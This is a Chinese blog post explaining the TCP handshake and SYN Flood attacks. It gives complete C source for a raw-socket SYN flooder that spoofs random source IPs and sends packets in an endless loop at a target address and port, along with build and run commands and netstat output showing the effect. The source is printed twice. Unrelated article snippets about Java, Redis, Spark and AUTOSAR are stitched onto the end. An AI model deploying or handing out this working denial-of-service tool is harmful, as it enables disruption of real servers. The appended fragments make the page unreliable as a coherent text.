技术标签: # linux应用编程
TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。
TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。
TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:
(图一 三次握手过程)
建立连接三次握手过程如下:
客户端需要发送一个 SYN包
给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT
,这个过程由 connect()
系统调用完成。
服务端接收到客户端发送过来的 SYN包
后,回复一个 SYN+ACK包
给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD
。
客户端接收到服务端发送过来的 SYN+ACK包
后,设置连接状态为 ESTABLISHED
(表示连接已经建立),并且回复一个 ACK包
给服务端。
服务端接收到客户端发送过来的 ACK包
后,将连接状态设置为 ESTABLISHED
(表示连接已经建立)。
当 三次握手 过程完成后,一个 TCP 连接就此建立完成。
上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。
这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:
(图2 SYN-Flood)
客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包。
但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。
另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击。
接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。
因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:
(图3 TCP 协议头部格式)
我们定义以下结构来描述 TCP 协议头部:
struct tcphdr {
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
下面是设置 TCP 头部的过程:
标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02。
源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。
确认号设置为 0,因为我们还不知道服务端的序列号。
窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。
校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:
伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址、32位目的IP地址、8位保留字节(置0)、8位传输层协议号(TCP是6,UDP是17)、16位TCP报文长度(TCP首部+数据)。
TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据。
紧急指针可以设置为 0。
按照上面的分析,定义 TCP 伪首部的结构如下:
struct pseudohdr {
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):
unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short )(~cksum);
}
另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:
(图4 IP 协议头部)
我们定义以下结构来表示 IP 协议头部:
struct iphdr {
unsigned char ver_and_hdrlen;// 版本号与IP头部长度
unsigned char tos; // 服务类型
unsigned short total_len; // 总长度
unsigned short id; // IP包ID
unsigned short flags; // 标志位(包括分片偏移量)
unsigned char ttl; // 生命周期
unsigned char protocol; // 上层协议
unsigned short checksum; // 校验和
unsigned int srcaddr; // 源IP地址
unsigned int dstaddr; // 目标IP地址
};
下面我们实现初始化 IP 头部的函数 init_ip_header()
:
void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));
iphdr->tos = 0;
iphdr->total_len = htons(len);
iphdr->id = 1;
iphdr->flags = 0x40;
iphdr->ttl = 255;
iphdr->protocol = IPPROTO_TCP;
iphdr->checksum = 0;
iphdr->srcaddr = srcaddr; // 源IP地址
iphdr->dstaddr = dstaddr; // 目标IP地址
}
init_ip_header()
函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。
接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()
:
void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport)
{
tcp->sport = htons(rand() % 16383 + 49152); // 随机生成一个端口
tcp->dport = htons(dport); // 目标端口
tcp->seq = htonl(rand() % 90000000 + 2345 ); // 随机生成一个初始化序列号
tcp->ack_seq = 0;
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
tcp->flag = 0x02;
tcp->win = htons(1024);
tcp->checksum = 0;
tcp->urg = 0;
}
现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()
:
void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,
unsigned int dstaddr)
{
hdr->zero = 0;
hdr->protocol = IPPROTO_TCP;
hdr->length = htons(sizeof(struct tcphdr));
hdr->saddr = srcaddr;
hdr->daddr = dstaddr;
}
接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
unsigned int saddr = rand(); // 随机生成一个源IP地址
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
//计算IP校验和
ip.checksum = checksum((u_short *)&ip, sizeof(ip));
// 计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudo, sizeof(pseudo)); // 复制TCP伪头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
memcpy(packet, &ip, sizeof(ip));
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
return len;
}
make_syn_packet()
函数主要通过 目标IP地址 和 目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。
由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW
参数,下面我们定义一个创建原始套接字的函数:
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字, 指定其关注TCP协议
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1) {
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
close(fd);
return -1;
}
return fd;
}
在调用 socket()
函数创建套接字时,指定第二个参数为 SOCK_RAW
,表示创建的套接字为原始套接字。然后调用 setsockopt()
函数设置 IP 头部由我们自己构建。
下面我们实现发送 SYN包 的函数:
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256];
int pkt_len;
bzero(&skaddr, sizeof(skaddr));
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
pkt_len = make_syn_packet(packet, 256, addr, port);
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
send_syn_packet()
函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto()
函数向服务端发送一个 SYN包。
最后,我们来实现主函数 main()
:
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3) {
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
addr = inet_addr(argv[1]); // 获取目标IP
port = atoi(argv[2]); // 获取目标端口
if (port < 0 || port > 65535) {
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
sockfd = make_raw_socket(); // 创建原始socket
if (sockfd == -1) {
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
for (;;) {
if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
main()
函数也很简单,首先从命令行读取到 目标 IP 地址 和 目标端口,然后调用 make_raw_socket()
创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包。
完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c
现在我们通过以下命令来编译这个程序:
root@vagrant]$ gcc -o synflood synflood.c
然后使用以下命令运行程序:
root@vagrant]$ sudo synflood 127.0.0.1 80
上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:
root@vagrant]$ netstat -np|grep tcp
tcp 0 0 127.0.0.1:80 229.20.1.110:51861 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.137.18.30:52104 SYN_RECV -
tcp 0 0 127.0.0.1:80 233.90.28.10:65322 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.13.8.74:57922 SYN_RECV -
tcp 0 0 127.0.0.1:80 229.81.76.55:52345 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.226.188.82:53560 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.245.238.56:49499 SYN_RECV -
tcp 0 0 127.0.0.1:80 224.222.45.20:49270 SYN_RECV -
tcp 0 0 127.0.0.1:80 230.2.130.115:63709 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.233.180.85:59636 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.168.175.81:60326 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.27.77.111:65276 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.4.252.114:60898 SYN_RECV -
tcp 0 0 127.0.0.1:80 226.62.209.29:64605 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.106.157.82:56451 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.247.175.35:54963 SYN_RECV -
tcp 0 0 127.0.0.1:80 231.100.248.95:58660 SYN_RECV -
tcp 0 0 127.0.0.1:80 228.113.70.57:60157 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.76.245.32:59218 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.76.169.15:50441 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.191.51.34:53060 SYN_RECV -
tcp 0 0 127.0.0.1:80 227.215.119.119:55480 SYN_RECV -
tcp 0 0 127.0.0.1:80 227.185.145.18:56882 SYN_RECV -
tcp 0 0 127.0.0.1:80 234.73.216.62:58793 SYN_RECV -
tcp 0 0 127.0.0.1:80 234.183.17.49:59739 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.233.86.125:55530 SYN_RECV -
tcp 0 0 127.0.0.1:80 229.117.216.112:52235 SYN_RECV -
tcp 0 0 127.0.0.1:80 238.182.168.62:65214 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.88.213.112:62171 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.218.65.88:60597 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.116.219.23:58731 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.99.36.55:51906 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.198.211.64:52338 SYN_RECV -
tcp 0 0 127.0.0.1:80 230.229.104.121:62795 SYN_RECV -
...
从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。
本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。
另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。
参考资料:1. https://blog.csdn.net/zhangskd/article/details/11770647
2. https://blog.csdn.net/jiange_zh/article/details/50446172
------------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
struct iphdr
{
unsigned char ver_and_hdrlen;// 版本号与IP头部长度
unsigned char tos; // 服务类型
unsigned short total_len; // 总长度
unsigned short id; // IP包ID
unsigned short flags; // 标志位(包括分片偏移量)
unsigned char ttl; // 生命周期
unsigned char protocol; // 上层协议
unsigned short checksum; // 校验和
unsigned int srcaddr; // 源IP地址
unsigned int dstaddr; // 目标IP地址
};
struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short )(~cksum);
}
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
ip->tos = 0;
ip->total_len = htons(len);
ip->id = 1;
ip->flags = 0x40;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->checksum = 0;
ip->srcaddr = srcaddr; // 源IP地址
ip->dstaddr = dstaddr; // 目标IP地址
}
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
tcp->sport = htons(rand() % 16383 + 49152); // 随机生成一个端口
tcp->dport = htons(dport); // 目标端口
tcp->seq = htonl(rand() % 90000000 + 2345 ); // 随机生成一个初始化序列号
tcp->ack_seq = 0;
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
tcp->flag = 0x02;
tcp->win = htons(1024);
tcp->checksum = 0;
tcp->urg = 0;
}
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; //IP 头部
struct tcphdr tcp; //TCP 头部
struct pseudohdr pseudo; //TCP 伪头部
unsigned int saddr = rand();
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
//计算IP校验和
ip.checksum = checksum((u_short *)&ip, sizeof(ip));
// 计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudo, sizeof(pseudo)); // 复制TCP伪头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
memcpy(packet, &ip, sizeof(ip));
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
return len;
}
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字, 指定其关注TCP协议
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1) {
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
close(fd);
return -1;
}
return fd;
}
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256];
int pkt_len;
bzero(&skaddr, sizeof(skaddr));
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
pkt_len = make_syn_packet(packet, 256, addr, port);
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3) {
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
addr = inet_addr(argv[1]);
port = atoi(argv[2]);
if (port < 0 || port > 65535) {
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
sockfd = make_raw_socket();
if (sockfd == -1) {
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
for (;;) {
if (send_syn_packet(sockfd, addr, port) < 0) {
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
文章浏览阅读3.4k次,点赞8次,收藏42次。一、什么是内部类?or 内部类的概念内部类是定义在另一个类中的类;下面类TestB是类TestA的内部类。即内部类对象引用了实例化该内部对象的外围类对象。public class TestA{ class TestB {}}二、 为什么需要内部类?or 内部类有什么作用?1、 内部类方法可以访问该类定义所在的作用域中的数据,包括私有数据。2、内部类可以对同一个包中的其他类隐藏起来。3、 当想要定义一个回调函数且不想编写大量代码时,使用匿名内部类比较便捷。三、 内部类的分类成员内部_成员内部类和局部内部类的区别
文章浏览阅读118次。分布式系统要求拆分分布式思想的实质搭配要求分布式系统要求按照某些特定的规则将项目进行拆分。如果将一个项目的所有模板功能都写到一起,当某个模块出现问题时将直接导致整个服务器出现问题。拆分按照业务拆分为不同的服务器,有效的降低系统架构的耦合性在业务拆分的基础上可按照代码层级进行拆分(view、controller、service、pojo)分布式思想的实质分布式思想的实质是为了系统的..._分布式系统运维工具
文章浏览阅读174次。1.数据源准备2.数据处理step1:数据表处理应用函数:①VLOOKUP函数; ② CONCATENATE函数终表:step2:数据透视表统计分析(1) 透视表汇总不同渠道用户数, 金额(2)透视表汇总不同日期购买用户数,金额(3)透视表汇总不同用户购买订单数,金额step3:讲第二步结果可视化, 比如, 柱形图(1)不同渠道用户数, 金额(2)不同日期..._exce l趋势分析数据量
文章浏览阅读3.3k次。堡垒机可以为企业实现服务器、网络设备、数据库、安全设备等的集中管控和安全可靠运行,帮助IT运维人员提高工作效率。通俗来说,就是用来控制哪些人可以登录哪些资产(事先防范和事中控制),以及录像记录登录资产后做了什么事情(事后溯源)。由于堡垒机内部保存着企业所有的设备资产和权限关系,是企业内部信息安全的重要一环。但目前出现的以下问题产生了很大安全隐患:密码设置过于简单,容易被暴力破解;为方便记忆,设置统一的密码,一旦单点被破,极易引发全面危机。在单一的静态密码验证机制下,登录密码是堡垒机安全的唯一_horizon宁盾双因素配置
文章浏览阅读7.7k次,点赞4次,收藏16次。Chrome作为一款挺不错的浏览器,其有着诸多的优良特性,并且支持跨平台。其支持(Windows、Linux、Mac OS X、BSD、Android),在绝大多数情况下,其的安装都很简单,但有时会由于网络原因,无法安装,所以在这里总结下Chrome的安装。Windows下的安装:在线安装:离线安装:Linux下的安装:在线安装:离线安装:..._chrome linux debian离线安装依赖
文章浏览阅读153次。中国发达城市榜单每天都在刷新,但无非是北上广轮流坐庄。北京拥有最顶尖的文化资源,上海是“摩登”的国际化大都市,广州是活力四射的千年商都。GDP和发展潜力是衡量城市的数字指...
文章浏览阅读3.3k次。前言spark在java使用比较少,多是scala的用法,我这里介绍一下我在项目中使用的代码配置详细算法的使用请点击我主页列表查看版本jar版本说明spark3.0.1scala2.12这个版本注意和spark版本对应,只是为了引jar包springboot版本2.3.2.RELEASEmaven<!-- spark --> <dependency> <gro_使用java调用spark注册进去的程序
文章浏览阅读4.8k次。汽车零部件开发工具巨头V公司全套bootloader中UDS协议栈源代码,自己完成底层外设驱动开发后,集成即可使用,代码精简高效,大厂出品有量产保证。:139800617636213023darcy169_uds协议栈 源代码
文章浏览阅读4.6k次,点赞20次,收藏148次。AUTOSAR基础篇之OS(下)前言首先,请问大家几个小小的问题,你清楚:你知道多核OS在什么场景下使用吗?多核系统OS又是如何协同启动或者关闭的呢?AUTOSAR OS存在哪些功能安全等方面的要求呢?多核OS之间的启动关闭与单核相比又存在哪些异同呢?。。。。。。今天,我们来一起探索并回答这些问题。为了便于大家理解,以下是本文的主题大纲:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JCXrdI0k-1636287756923)(https://gite_autosar 定义了 5 种多核支持类型
文章浏览阅读2.2k次,点赞6次,收藏14次。原因:自己写的头文件没有被加入到方案的包含目录中去,无法被检索到,也就无法打开。将自己写的头文件都放入header files。然后在VS界面上,右键方案名,点击属性。将自己头文件夹的目录添加进去。_vs2013打不开自己定义的头文件
文章浏览阅读3.3w次,点赞80次,收藏342次。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。此时,可以将系统中所有用户的 Session 数据全部保存到 Redis 中,用户在提交新的请求后,系统先从Redis 中查找相应的Session 数据,如果存在,则再进行相关操作,否则跳转到登录页面。当数据量很大时,count 的数量的指定可能会不起作用,Redis 会自动调整每次的遍历数目。_redis命令
文章浏览阅读449次,点赞3次,收藏3次。URP的设计目标是在保持高性能的同时,提供更多的渲染功能和自定义选项。与普通项目相比,会多出Presets文件夹,里面包含着一些设置,包括本色,声音,法线,贴图等设置。全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,主光源和附加光源在一次Pass中可以一起着色。URP:全局只有主光源和附加光源,主光源只支持平行光,附加光源数量有限制,一次Pass可以计算多个光源。可编程渲染管线:渲染策略是可以供程序员定制的,可以定制的有:光照计算和光源,深度测试,摄像机光照烘焙,后期处理策略等等。_urp渲染管线